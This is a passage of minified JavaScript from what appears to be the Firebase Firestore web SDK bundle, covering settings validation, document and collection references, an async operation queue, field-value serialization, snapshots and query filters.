0===t.cacheSizeBytes)this.cacheSizeBytes=41943040;else{if(-1!==t.cacheSizeBytes&&t.cacheSizeBytes<1048576)throw new $d(Kd.INVALID_ARGUMENT,"cacheSizeBytes must be at least 1048576");this.cacheSizeBytes=t.cacheSizeBytes}this.experimentalForceLongPolling=!!t.experimentalForceLongPolling,this.experimentalAutoDetectLongPolling=!!t.experimentalAutoDetectLongPolling,this.useFetchStreams=!!t.useFetchStreams,r_("experimentalForceLongPolling",t.experimentalForceLongPolling,"experimentalAutoDetectLongPolling",t.experimentalAutoDetectLongPolling)}return t.prototype.isEqual=function(t){return this.host===t.host&&this.ssl===t.ssl&&this.credentials===t.credentials&&this.cacheSizeBytes===t.cacheSizeBytes&&this.experimentalForceLongPolling===t.experimentalForceLongPolling&&this.experimentalAutoDetectLongPolling===t.experimentalAutoDetectLongPolling&&this.ignoreUndefinedProperties===t.ignoreUndefinedProperties&&this.useFetchStreams===t.useFetchStreams},t}(),u_=function(){function t(t,e){this.type="firestore-lite",this._persistenceKey="(lite)",this._settings=new l_({}),this._settingsFrozen=!1,t instanceof Kv?(this._databaseId=t,this._credentials=new Xv):(this._app=t,this._databaseId=function(t){if(!Object.prototype.hasOwnProperty.apply(t.options,["projectId"]))throw new $d(Kd.INVALID_ARGUMENT,'"projectId" not provided in firebase.initializeApp.');return new Kv(t.options.projectId)}(t),this._credentials=new Yv(e))}return Object.defineProperty(t.prototype,"app",{get:function(){if(!this._app)throw new $d(Kd.FAILED_PRECONDITION,"Firestore was not initialized using the Firebase SDK. 'app' is not available");return this._app},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"_initialized",{get:function(){return this._settingsFrozen},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"_terminated",{get:function(){return void 0!==this._terminateTask},enumerable:!1,configurable:!0}),t.prototype._setSettings=function(t){if(this._settingsFrozen)throw new $d(Kd.FAILED_PRECONDITION,"Firestore has already been started and its settings can no longer be changed. You can only modify settings before calling any other methods on a Firestore object.");this._settings=new l_(t),void 0!==t.credentials&&(this._credentials=function(t){if(!t)return new Xv;switch(t.type){case"gapi":var e=t.client;return nh(!("object"!=typeof e||null===e||!e.auth||!e.auth.getAuthHeaderValueForFirstParty)),new t_(e,t.sessionIndex||"0",t.iamToken||null);case"provider":return t.client;default:throw new $d(Kd.INVALID_ARGUMENT,"makeCredentialsProvider failed due to invalid credential type")}}(t.credentials))},t.prototype._getSettings=function(){return this._settings},t.prototype._freezeSettings=function(){return this._settingsFrozen=!0,this._settings},t.prototype._delete=function(){return this._terminateTask||(this._terminateTask=this._terminate()),this._terminateTask},t.prototype.toJSON=function(){return{app:this._app,databaseId:this._databaseId,settings:this._settings}},t.prototype._terminate=function(){return(t=$v.get(this))&&(Zd("ComponentProvider","Removing Datastore"),$v.delete(this),t.terminate()),Promise.resolve();var t},t}(),d_=function(){function t(t,e,n){this.converter=e,this._key=n,this.type="document",this.firestore=t}return Object.defineProperty(t.prototype,"_path",{get:function(){return this._key.path},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"id",{get:function(){return this._key.path.lastSegment()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"path",{get:function(){return this._key.path.canonicalString()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"parent",{get:function(){return new p_(this.firestore,this.converter,this._key.path.popLast())},enumerable:!1,configurable:!0}),t.prototype.withConverter=function(e){return new t(this.firestore,e,this._key)},t}(),h_=function(){function t(t,e,n){this.converter=e,this._query=n,this.type="query",this.firestore=t}return t.prototype.withConverter=function(e){return new t(this.firestore,e,this._query)},t}(),p_=function(t){function e(e,n,r){var i=this;return(i=t.call(this,e,n,mp(r))||this)._path=r,i.type="collection",i}return(0,Zo.ZT)(e,t),Object.defineProperty(e.prototype,"id",{get:function(){return this._query.path.lastSegment()},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"path",{get:function(){return this._query.path.canonicalString()},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"parent",{get:function(){var t=this._path.popLast();return t.isEmpty()?null:new d_(this.firestore,null,new Ih(t))},enumerable:!1,configurable:!0}),e.prototype.withConverter=function(t){return new e(this.firestore,t,this._path)},e}(h_);function f_(t,e){for(var n,r=[],i=2;i<arguments.length;i++)r[i-2]=arguments[i];if(t=(0,Yo.m9)(t),e_("collection","path",e),t instanceof u_)return o_(n=gh.fromString.apply(gh,(0,Zo.ev)([e],r))),new p_(t,null,n);if(!(t instanceof d_||t instanceof p_))throw new $d(Kd.INVALID_ARGUMENT,"Expected first argument to collection() to be a CollectionReference, a DocumentReference or FirebaseFirestore");return o_(n=gh.fromString.apply(gh,(0,Zo.ev)([t.path],r)).child(gh.fromString(e))),new p_(t.firestore,null,n)}function g_(t,e){for(var n,r=[],i=2;i<arguments.length;i++)r[i-2]=arguments[i];if(t=(0,Yo.m9)(t),1===arguments.length&&(e=oh.u()),e_("doc","path",e),t instanceof u_)return i_(n=gh.fromString.apply(gh,(0,Zo.ev)([e],r))),new d_(t,null,new Ih(n));if(!(t instanceof d_||t instanceof p_))throw new $d(Kd.INVALID_ARGUMENT,"Expected first argument to collection() to be a CollectionReference, a DocumentReference or FirebaseFirestore");return i_(n=t._path.child(gh.fromString.apply(gh,(0,Zo.ev)([e],r)))),new d_(t.firestore,t instanceof p_?t.converter:null,new Ih(n))}function m_(t,e){return t=(0,Yo.m9)(t),e=(0,Yo.m9)(e),(t instanceof d_||t instanceof p_)&&(e instanceof d_||e instanceof p_)&&t.firestore===e.firestore&&t.path===e.path&&t.converter===e.converter}function y_(t,e){return t=(0,Yo.m9)(t),e=(0,Yo.m9)(e),t instanceof h_&&e instanceof h_&&t.firestore===e.firestore&&Sp(t._query,e._query)&&t.converter===e.converter}var b_=function(){function t(){var t=this;this.dc=Promise.resolve(),this.wc=[],this._c=!1,this.mc=[],this.yc=null,this.gc=!1,this.Ec=[],this.Zi=new Zy(this,"async_queue_retry"),this.Tc=function(){var e=Qy();e&&Zd("AsyncQueue","Visibility state changed to "+e.visibilityState),t.Zi.Gi()};var e=Qy();e&&"function"==typeof e.addEventListener&&e.addEventListener("visibilitychange",this.Tc)}return Object.defineProperty(t.prototype,"isShuttingDown",{get:function(){return this._c},enumerable:!1,configurable:!0}),t.prototype.enqueueAndForget=function(t){this.enqueue(t)},t.prototype.enqueueAndForgetEvenWhileRestricted=function(t){this.Ic(),this.Ac(t)},t.prototype.enterRestrictedMode=function(){if(!this._c){this._c=!0;var t=Qy();t&&"function"==typeof t.removeEventListener&&t.removeEventListener("visibilitychange",this.Tc)}},t.prototype.enqueue=function(t){return this.Ic(),this._c?new Promise(function(t){}):this.Ac(t)},t.prototype.enqueueRetryable=function(t){var e=this;this.enqueueAndForget(function(){return e.wc.push(t),e.Rc()})},t.prototype.Rc=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e=this;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:if(0===this.wc.length)return[3,5];n.label=1;case 1:return n.trys.push([1,3,,4]),[4,this.wc[0]()];case 2:return n.sent(),this.wc.shift(),this.Zi.reset(),[3,4];case 3:if(!Kg(t=n.sent()))throw t;return Zd("AsyncQueue","Operation failed with retryable error: "+t),[3,4];case 4:this.wc.length>0&&this.Zi.ji(function(){return e.Rc()}),n.label=5;case 5:return[2]}})})},t.prototype.Ac=function(t){var e=this,n=this.dc.then(function(){return e.gc=!0,t().catch(function(t){throw e.yc=t,e.gc=!1,Yd("INTERNAL UNHANDLED ERROR: ",(r=(n=t).message||"",n.stack&&(r=n.stack.includes(n.message)?n.stack:n.message+"\n"+n.stack),r)),t;var n,r}).then(function(t){return e.gc=!1,t})});return this.dc=n,n},t.prototype.enqueueAfterDelay=function(t,e,n){var r=this;this.Ic(),this.Ec.indexOf(t)>-1&&(e=0);var i=Tb.createAndSchedule(this,t,e,n,function(t){return r.bc(t)});return this.mc.push(i),i},t.prototype.Ic=function(){this.yc&&eh()},t.prototype.verifyOperationInProgress=function(){},t.prototype.vc=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t;return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return[4,t=this.dc];case 1:e.sent(),e.label=2;case 2:if(t!==this.dc)return[3,0];e.label=3;case 3:return[2]}})})},t.prototype.Pc=function(t){for(var e=0,n=this.mc;e<n.length;e++)if(n[e].timerId===t)return!0;return!1},t.prototype.Vc=function(t){var e=this;return this.vc().then(function(){e.mc.sort(function(t,e){return t.targetTimeMs-e.targetTimeMs});for(var n=0,r=e.mc;n<r.length;n++){var i=r[n];if(i.skipDelay(),"all"!==t&&i.timerId===t)break}return e.vc()})},t.prototype.Sc=function(t){this.Ec.push(t)},t.prototype.bc=function(t){var e=this.mc.indexOf(t);this.mc.splice(e,1)},t}();function v_(t){return function(t,e){if("object"!=typeof t||null===t)return!1;for(var n=t,r=0,i=["next","error","complete"];r<i.length;r++){var o=i[r];if(o in n&&"function"==typeof n[o])return!0}return!1}(t)}!function(){function t(){this._progressObserver={},this._taskCompletionResolver=new Hg,this._lastProgress={taskState:"Running",totalBytes:0,totalDocuments:0,bytesLoaded:0,documentsLoaded:0}}t.prototype.onProgress=function(t,e,n){this._progressObserver={next:t,error:e,complete:n}},t.prototype.catch=function(t){return this._taskCompletionResolver.promise.catch(t)},t.prototype.then=function(t,e){return this._taskCompletionResolver.promise.then(t,e)},t.prototype._completeWith=function(t){this._updateProgress(t),this._progressObserver.complete&&this._progressObserver.complete(),this._taskCompletionResolver.resolve(t)},t.prototype._failWith=function(t){this._lastProgress.taskState="Error",this._progressObserver.next&&this._progressObserver.next(this._lastProgress),this._progressObserver.error&&this._progressObserver.error(t),this._taskCompletionResolver.reject(t)},t.prototype._updateProgress=function(t){this._lastProgress=t,this._progressObserver.next&&this._progressObserver.next(t)}}();var __=function(t){function e(e,n){var r=this;return(r=t.call(this,e,n)||this).type="firestore",r._queue=new b_,r._persistenceKey="name"in e?e.name:"[DEFAULT]",r}return(0,Zo.ZT)(e,t),e.prototype._terminate=function(){return this._firestoreClient||w_(this),this._firestoreClient.terminate()},e}(u_);function C_(t){return t._firestoreClient||w_(t),t._firestoreClient.verifyNotTerminated(),t._firestoreClient}function w_(t){var e,n,r,i=t._freezeSettings(),o=(n=(null===(e=t._app)||void 0===e?void 0:e.options.appId)||"",new Wv(t._databaseId,n,t._persistenceKey,(r=i).host,r.ssl,r.experimentalForceLongPolling,r.experimentalAutoDetectLongPolling,r.useFetchStreams));t._firestoreClient=new Nv(t._credentials,t._queue,o)}function x_(t,e,n){var r=this,i=new Hg;return t.asyncQueue.enqueue(function(){return(0,Zo.mG)(r,void 0,void 0,function(){var r;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return o.trys.push([0,3,,4]),[4,Rv(t,n)];case 1:return o.sent(),[4,Lv(t,e)];case 2:return o.sent(),i.resolve(),[3,4];case 3:if(!("FirebaseError"===(s=r=o.sent()).name?s.code===Kd.FAILED_PRECONDITION||s.code===Kd.UNIMPLEMENTED:!("undefined"!=typeof DOMException&&s instanceof DOMException)||22===s.code||20===s.code||11===s.code))throw r;return console.warn("Error enabling offline persistence. Falling back to persistence disabled: "+r),i.reject(r),[3,4];case 4:return[2]}var s})})}).then(function(){return i.promise})}function P_(t){if(t._initialized||t._terminated)throw new $d(Kd.FAILED_PRECONDITION,"Firestore has already been started and persistence can no longer be enabled. You can only enable persistence before calling any other methods on a Firestore object.")}var S_=function(){function t(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var n=0;n<t.length;++n)if(0===t[n].length)throw new $d(Kd.INVALID_ARGUMENT,"Invalid field name at argument $(i + 1). Field names must not be empty.");this._internalPath=new yh(t)}return t.prototype.isEqual=function(t){return this._internalPath.isEqual(t._internalPath)},t}(),M_=function(){function t(t){this._byteString=t}return t.fromBase64String=function(e){try{return new t(vh.fromBase64String(e))}catch(n){throw new $d(Kd.INVALID_ARGUMENT,"Failed to construct data from Base64 string: "+n)}},t.fromUint8Array=function(e){return new t(vh.fromUint8Array(e))},t.prototype.toBase64=function(){return this._byteString.toBase64()},t.prototype.toUint8Array=function(){return this._byteString.toUint8Array()},t.prototype.toString=function(){return"Bytes(base64: "+this.toBase64()+")"},t.prototype.isEqual=function(t){return this._byteString.isEqual(t._byteString)},t}(),O_=function(t){this._methodName=t},E_=function(){function t(t,e){if(!isFinite(t)||t<-90||t>90)throw new $d(Kd.INVALID_ARGUMENT,"Latitude must be a number between -90 and 90, but was: "+t);if(!isFinite(e)||e<-180||e>180)throw new $d(Kd.INVALID_ARGUMENT,"Longitude must be a number between -180 and 180, but was: "+e);this._lat=t,this._long=e}return Object.defineProperty(t.prototype,"latitude",{get:function(){return this._lat},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"longitude",{get:function(){return this._long},enumerable:!1,configurable:!0}),t.prototype.isEqual=function(t){return this._lat===t._lat&&this._long===t._long},t.prototype.toJSON=function(){return{latitude:this._lat,longitude:this._long}},t.prototype._compareTo=function(t){return sh(this._lat,t._lat)||sh(this._long,t._long)},t}(),T_=/^__.*__$/,I_=function(){function t(t,e,n){this.data=t,this.fieldMask=e,this.fieldTransforms=n}return t.prototype.toMutation=function(t,e){return null!==this.fieldMask?new rf(t,this.data,this.fieldMask,e,this.fieldTransforms):new nf(t,this.data,e,this.fieldTransforms)},t}(),k_=function(){function t(t,e,n){this.data=t,this.fieldMask=e,this.fieldTransforms=n}return t.prototype.toMutation=function(t,e){return new rf(t,this.data,this.fieldMask,e,this.fieldTransforms)},t}();function A_(t){switch(t){case 0:case 2:case 1:return!0;case 3:case 4:return!1;default:throw eh()}}var D_=function(){function t(t,e,n,r,i,o){this.settings=t,this.databaseId=e,this.R=n,this.ignoreUndefinedProperties=r,void 0===i&&this.Dc(),this.fieldTransforms=i||[],this.fieldMask=o||[]}return Object.defineProperty(t.prototype,"path",{get:function(){return this.settings.path},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"Cc",{get:function(){return this.settings.Cc},enumerable:!1,configurable:!0}),t.prototype.Nc=function(e){return new t(Object.assign(Object.assign({},this.settings),e),this.databaseId,this.R,this.ignoreUndefinedProperties,this.fieldTransforms,this.fieldMask)},t.prototype.xc=function(t){var e,n=null===(e=this.path)||void 0===e?void 0:e.child(t),r=this.Nc({path:n,Fc:!1});return r.kc(t),r},t.prototype.$c=function(t){var e,n=null===(e=this.path)||void 0===e?void 0:e.child(t),r=this.Nc({path:n,Fc:!1});return r.Dc(),r},t.prototype.Oc=function(t){return this.Nc({path:void 0,Fc:!0})},t.prototype.Mc=function(t){return J_(t,this.settings.methodName,this.settings.Lc||!1,this.path,this.settings.Bc)},t.prototype.contains=function(t){return void 0!==this.fieldMask.find(function(e){return t.isPrefixOf(e)})||void 0!==this.fieldTransforms.find(function(e){return t.isPrefixOf(e.field)})},t.prototype.Dc=function(){if(this.path)for(var t=0;t<this.path.length;t++)this.kc(this.path.get(t))},t.prototype.kc=function(t){if(0===t.length)throw this.Mc("Document fields must not be empty");if(A_(this.Cc)&&T_.test(t))throw this.Mc('Document fields cannot begin and end with "__"')},t}(),N_=function(){function t(t,e,n){this.databaseId=t,this.ignoreUndefinedProperties=e,this.R=n||Xy(t)}return t.prototype.qc=function(t,e,n,r){return void 0===r&&(r=!1),new D_({Cc:t,methodName:e,Bc:n,path:yh.emptyPath(),Fc:!1,Lc:r},this.databaseId,this.R,this.ignoreUndefinedProperties)},t}();function R_(t){var e=t._freezeSettings(),n=Xy(t._databaseId);return new N_(t._databaseId,!!e.ignoreUndefinedProperties,n)}function L_(t,e,n,r,i,o){void 0===o&&(o={});var s=t.qc(o.merge||o.mergeFields?2:0,e,n,i);Q_("Data must be an object, but it was:",s,r);var a,c,l=K_(r,s);if(o.merge)a=new bh(s.fieldMask),c=s.fieldTransforms;else if(o.mergeFields){for(var u=[],d=0,h=o.mergeFields;d<h.length;d++){var p=X_(e,h[d],n);if(!s.contains(p))throw new $d(Kd.INVALID_ARGUMENT,"Field '"+p+"' is specified in your field mask but missing from your input data.");tC(u,p)||u.push(p)}a=new bh(u),c=s.fieldTransforms.filter(function(t){return a.covers(t.field)})}else a=null,c=s.fieldTransforms;return new I_(new qh(l),a,c)}var j_=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype._toFieldTransform=function(t){if(2!==t.Cc)throw t.Mc(1===t.Cc?this._methodName+"() can only appear at the top level of your update data":this._methodName+"() cannot be used with set() unless you pass {merge:true}");return t.fieldMask.push(t.path),null},e.prototype.isEqual=function(t){return t instanceof e},e}(O_);function F_(t,e,n){return new D_({Cc:3,Bc:e.settings.Bc,methodName:t._methodName,Fc:n},e.databaseId,e.R,e.ignoreUndefinedProperties)}var V_=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype._toFieldTransform=function(t){return new Wp(t.path,new Fp)},e.prototype.isEqual=function(t){return t instanceof e},e}(O_),B_=function(t){function e(e,n){var r=this;return(r=t.call(this,e)||this).Uc=n,r}return(0,Zo.ZT)(e,t),e.prototype._toFieldTransform=function(t){var e=F_(this,t,!0),n=this.Uc.map(function(t){return W_(t,e)}),r=new Vp(n);return new Wp(t.path,r)},e.prototype.isEqual=function(t){return this===t},e}(O_),H_=function(t){function e(e,n){var r=this;return(r=t.call(this,e)||this).Uc=n,r}return(0,Zo.ZT)(e,t),e.prototype._toFieldTransform=function(t){var e=F_(this,t,!0),n=this.Uc.map(function(t){return W_(t,e)}),r=new Hp(n);return new Wp(t.path,r)},e.prototype.isEqual=function(t){return this===t},e}(O_),z_=function(t){function e(e,n){var r=this;return(r=t.call(this,e)||this).Qc=n,r}return(0,Zo.ZT)(e,t),e.prototype._toFieldTransform=function(t){var e=new Gp(t.R,Dp(t.R,this.Qc));return new Wp(t.path,e)},e.prototype.isEqual=function(t){return this===t},e}(O_);function G_(t,e,n,r){var i=t.qc(1,e,n);Q_("Data must be an object, but it was:",i,r);var o=[],s=qh.empty();hh(r,function(t,r){var a=Y_(e,t,n);r=(0,Yo.m9)(r);var c=i.$c(a);if(r instanceof j_)o.push(a);else{var l=W_(r,c);null!=l&&(o.push(a),s.set(a,l))}});var a=new bh(o);return new k_(s,a,i.fieldTransforms)}function U_(t,e,n,r,i,o){var s=t.qc(1,e,n),a=[X_(e,r,n)],c=[i];if(o.length%2!=0)throw new $d(Kd.INVALID_ARGUMENT,"Function "+e+"() needs to be called with an even number of arguments that alternate between field names and values.");for(var l=0;l<o.length;l+=2)a.push(X_(e,o[l])),c.push(o[l+1]);for(var u=[],d=qh.empty(),h=a.length-1;h>=0;--h)if(!tC(u,a[h])){var p=a[h],f=c[h];f=(0,Yo.m9)(f);var g=s.$c(p);if(f instanceof j_)u.push(p);else{var m=W_(f,g);null!=m&&(u.push(p),d.set(p,m))}}var y=new bh(u);return new k_(d,y,s.fieldTransforms)}function q_(t,e,n,r){return void 0===r&&(r=!1),W_(n,t.qc(r?4:3,e))}function W_(t,e){if($_(t=(0,Yo.m9)(t)))return Q_("Unsupported field value:",e,t),K_(t,e);if(t instanceof O_)return function(t,e){if(!A_(e.Cc))throw e.Mc(t._methodName+"() can only be used with update() and set()");if(!e.path)throw e.Mc(t._methodName+"() is not currently supported inside arrays");var n=t._toFieldTransform(e);n&&e.fieldTransforms.push(n)}(t,e),null;if(void 0===t&&e.ignoreUndefinedProperties)return null;if(e.path&&e.fieldMask.push(e.path),t instanceof Array){if(e.settings.Fc&&4!==e.Cc)throw e.Mc("Nested arrays are not supported");return function(t,e){for(var n=[],r=0,i=0,o=t;i<o.length;i++){var s=W_(o[i],e.Oc(r));null==s&&(s={nullValue:"NULL_VALUE"}),n.push(s),r++}return{arrayValue:{values:n}}}(t,e)}return function(t,e){if(null===(t=(0,Yo.m9)(t)))return{nullValue:"NULL_VALUE"};if("number"==typeof t)return Dp(e.R,t);if("boolean"==typeof t)return{booleanValue:t};if("string"==typeof t)return{stringValue:t};if(t instanceof Date){var n=lh.fromDate(t);return{timestampValue:zf(e.R,n)}}if(t instanceof lh)return n=new lh(t.seconds,1e3*Math.floor(t.nanoseconds/1e3)),{timestampValue:zf(e.R,n)};if(t instanceof E_)return{geoPointValue:{latitude:t.latitude,longitude:t.longitude}};if(t instanceof M_)return{bytesValue:Gf(e.R,t._byteString)};if(t instanceof d_){var r=t.firestore._databaseId;if(!r.isEqual(n=e.databaseId))throw e.Mc("Document reference is for database "+r.projectId+"/"+r.database+" but should be for database "+n.projectId+"/"+n.database);return{referenceValue:Wf(t.firestore._databaseId||e.databaseId,t._key.path)}}throw e.Mc("Unsupported field value: "+s_(t))}(t,e)}function K_(t,e){var n={};return ph(t)?e.path&&e.path.length>0&&e.fieldMask.push(e.path):hh(t,function(t,r){var i=W_(r,e.xc(t));null!=i&&(n[t]=i)}),{mapValue:{fields:n}}}function $_(t){return!("object"!=typeof t||null===t||t instanceof Array||t instanceof Date||t instanceof lh||t instanceof E_||t instanceof M_||t instanceof d_||t instanceof O_)}function Q_(t,e,n){if(!$_(n)||"object"!=typeof(i=n)||null===i||Object.getPrototypeOf(i)!==Object.prototype&&null!==Object.getPrototypeOf(i)){var r=s_(n);throw e.Mc("an object"===r?t+" a custom object":t+" "+r)}var i}function X_(t,e,n){if((e=(0,Yo.m9)(e))instanceof S_)return e._internalPath;if("string"==typeof e)return Y_(t,e);throw J_("Field path arguments must be of type string or FieldPath.",t,!1,void 0,n)}var Z_=new RegExp("[~\\*/\\[\\]]");function Y_(t,e,n){if(e.search(Z_)>=0)throw J_("Invalid field path ("+e+"). Paths must not contain '~', '*', '/', '[', or ']'",t,!1,void 0,n);try{return(new(S_.bind.apply(S_,(0,Zo.ev)([void 0],e.split(".")))))._internalPath}catch(r){throw J_("Invalid field path ("+e+"). Paths must not be empty, begin with '.', end with '.', or contain '..'",t,!1,void 0,n)}}function J_(t,e,n,r,i){var o=r&&!r.isEmpty(),s=void 0!==i,a="Function "+e+"() called with invalid data";n&&(a+=" (via `toFirestore()`)");var c="";return(o||s)&&(c+=" (found",o&&(c+=" in field "+r),s&&(c+=" in document "+i),c+=")"),new $d(Kd.INVALID_ARGUMENT,(a+=". ")+t+c)}function tC(t,e){return t.some(function(t){return t.isEqual(e)})}var eC=function(){function t(t,e,n,r,i){this._firestore=t,this._userDataWriter=e,this._key=n,this._document=r,this._converter=i}return Object.defineProperty(t.prototype,"id",{get:function(){return this._key.path.lastSegment()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"ref",{get:function(){return new d_(this._firestore,this._converter,this._key)},enumerable:!1,configurable:!0}),t.prototype.exists=function(){return null!==this._document},t.prototype.data=function(){if(this._document){if(this._converter){var t=new nC(this._firestore,this._userDataWriter,this._key,this._document,null);return this._converter.fromFirestore(t)}return this._userDataWriter.convertValue(this._document.data.value)}},t.prototype.get=function(t){if(this._document){var e=this._document.data.field(rC("DocumentSnapshot.get",t));if(null!==e)return this._userDataWriter.convertValue(e)}},t}(),nC=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype.data=function(){return t.prototype.data.call(this)},e}(eC);function rC(t,e){return"string"==typeof e?Y_(t,e):e instanceof S_?e._internalPath:e._delegate._internalPath}var iC=function(){function t(t,e){this.hasPendingWrites=t,this.fromCache=e}return t.prototype.isEqual=function(t){return this.hasPendingWrites===t.hasPendingWrites&&this.fromCache===t.fromCache},t}(),oC=function(t){function e(e,n,r,i,o,s){var a=this;return(a=t.call(this,e,n,r,i,s)||this)._firestore=e,a._firestoreImpl=e,a.metadata=o,a}return(0,Zo.ZT)(e,t),e.prototype.exists=function(){return t.prototype.exists.call(this)},e.prototype.data=function(t){if(void 0===t&&(t={}),this._document){if(this._converter){var e=new sC(this._firestore,this._userDataWriter,this._key,this._document,this.metadata,null);return this._converter.fromFirestore(e,t)}return this._userDataWriter.convertValue(this._document.data.value,t.serverTimestamps)}},e.prototype.get=function(t,e){if(void 0===e&&(e={}),this._document){var n=this._document.data.field(rC("DocumentSnapshot.get",t));if(null!==n)return this._userDataWriter.convertValue(n,e.serverTimestamps)}},e}(eC),sC=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype.data=function(e){return void 0===e&&(e={}),t.prototype.data.call(this,e)},e}(oC),aC=function(){function t(t,e,n,r){this._firestore=t,this._userDataWriter=e,this._snapshot=r,this.metadata=new iC(r.hasPendingWrites,r.fromCache),this.query=n}return Object.defineProperty(t.prototype,"docs",{get:function(){var t=[];return this.forEach(function(e){return t.push(e)}),t},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"size",{get:function(){return this._snapshot.docs.size},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"empty",{get:function(){return 0===this.size},enumerable:!1,configurable:!0}),t.prototype.forEach=function(t,e){var n=this;this._snapshot.docs.forEach(function(r){t.call(e,new sC(n._firestore,n._userDataWriter,r.key,r,new iC(n._snapshot.mutatedKeys.has(r.key),n._snapshot.fromCache),n.query.converter))})},t.prototype.docChanges=function(t){void 0===t&&(t={});var e=!!t.includeMetadataChanges;if(e&&this._snapshot.excludesMetadataChanges)throw new $d(Kd.INVALID_ARGUMENT,"To include metadata changes with your document changes, you must also pass { includeMetadataChanges:true } to onSnapshot().");return this._cachedChanges&&this._cachedChangesIncludeMetadataChanges===e||(this._cachedChanges=function(t,e){if(t._snapshot.oldDocs.isEmpty()){var n=0;return t._snapshot.docChanges.map(function(e){return{type:"added",doc:new sC(t._firestore,t._userDataWriter,e.doc.key,e.doc,new iC(t._snapshot.mutatedKeys.has(e.doc.key),t._snapshot.fromCache),t.query.converter),oldIndex:-1,newIndex:n++}})}var r=t._snapshot.oldDocs;return t._snapshot.docChanges.filter(function(t){return e||3!==t.type}).map(function(e){var n=new sC(t._firestore,t._userDataWriter,e.doc.key,e.doc,new iC(t._snapshot.mutatedKeys.has(e.doc.key),t._snapshot.fromCache),t.query.converter),i=-1,o=-1;return 0!==e.type&&(i=r.indexOf(e.doc.key),r=r.delete(e.doc.key)),1!==e.type&&(o=(r=r.add(e.doc)).indexOf(e.doc.key)),{type:cC(e.type),doc:n,oldIndex:i,newIndex:o}})}(this,e),this._cachedChangesIncludeMetadataChanges=e),this._cachedChanges},t}();function cC(t){switch(t){case 0:return"added";case 2:case 3:return"modified";case 1:return"removed";default:return eh()}}function lC(t,e){return t instanceof oC&&e instanceof oC?t._firestore===e._firestore&&t._key.isEqual(e._key)&&(null===t._document?null===e._document:t._document.isEqual(e._document))&&t._converter===e._converter:t instanceof aC&&e instanceof aC&&t._firestore===e._firestore&&y_(t.query,e.query)&&t.metadata.isEqual(e.metadata)&&t._snapshot.isEqual(e._snapshot)}function uC(t){if(bp(t)&&0===t.explicitOrderBy.length)throw new $d(Kd.UNIMPLEMENTED,"limitToLast() queries require specifying at least one orderBy() clause")}var dC=function(){};function hC(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];for(var r=0,i=e;r<i.length;r++){var o=i[r];t=o._apply(t)}return t}var pC=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).Kc=e,i.jc=n,i.Wc=r,i.type="where",i}return(0,Zo.ZT)(e,t),e.prototype._apply=function(t){var e,n,r=R_(t.firestore),i=function(t,e,n,r,i,o,s){var a;if(i.isKeyField()){if("array-contains"===o||"array-contains-any"===o)throw new $d(Kd.INVALID_ARGUMENT,"Invalid Query. You can't perform '"+o+"' queries on FieldPath.documentId().");if("in"===o||"not-in"===o){_C(s,o);for(var c=[],l=0,u=s;l<u.length;l++)c.push(vC(r,t,u[l]));a={arrayValue:{values:c}}}else a=vC(r,t,s)}else"in"!==o&&"not-in"!==o&&"array-contains-any"!==o||_C(s,o),a=q_(n,"where",s,"in"===o||"not-in"===o);var d=Jh.create(i,o,a);return function(t,e){if(e.g()){var n=_p(t);if(null!==n&&!n.isEqual(e.field))throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. All where filters with an inequality (<, <=, !=, not-in, >, or >=) must be on the same field. But you have inequality filters on '"+n.toString()+"' and '"+e.field.toString()+"'");var r=vp(t);null!==r&&CC(0,e.field,r)}var i=function(t,e){for(var n=0,r=t.filters;n<r.length;n++){var i=r[n];if(e.indexOf(i.op)>=0)return i.op}return null}(t,function(t){switch(t){case"!=":return["!=","not-in"];case"array-contains":return["array-contains","array-contains-any","not-in"];case"in":return["array-contains-any","in","not-in"];case"array-contains-any":return["array-contains","array-contains-any","in","not-in"];case"not-in":return["array-contains","array-contains-any","in","not-in","!="];default:return[]}}(e.op));if(null!==i)throw new $d(Kd.INVALID_ARGUMENT,i===e.op?"Invalid query. You cannot use more than one '"+e.op.toString()+"' filter.":"Invalid query. You cannot use '"+e.op.toString()+"' filters with '"+i.toString()+"' filters.")}(t,d),d}(t._query,0,r,t.firestore._databaseId,this.Kc,this.jc,this.Wc);return new h_(t.firestore,t.converter,(n=(e=t._query).filters.concat([i]),new fp(e.path,e.collectionGroup,e.explicitOrderBy.slice(),n,e.limit,e.limitType,e.startAt,e.endAt)))},e}(dC),fC=function(t){function e(e,n){var r=this;return(r=t.call(this)||this).Kc=e,r.Gc=n,r.type="orderBy",r}return(0,Zo.ZT)(e,t),e.prototype._apply=function(t){var e,n,r=function(t,e,n){if(null!==t.startAt)throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. You must not call startAt() or startAfter() before calling orderBy().");if(null!==t.endAt)throw new $d(Kd.INVALID_ARGUMENT,"Invalid query. You must not call endAt() or endBefore() before calling orderBy().");var r=new up(e,n);return function(t,e){if(null===vp(t)){var n=_p(t);null!==n&&CC(0,n,e.field)}}(t,r),r}(t._query,this.Kc,this.Gc);return new 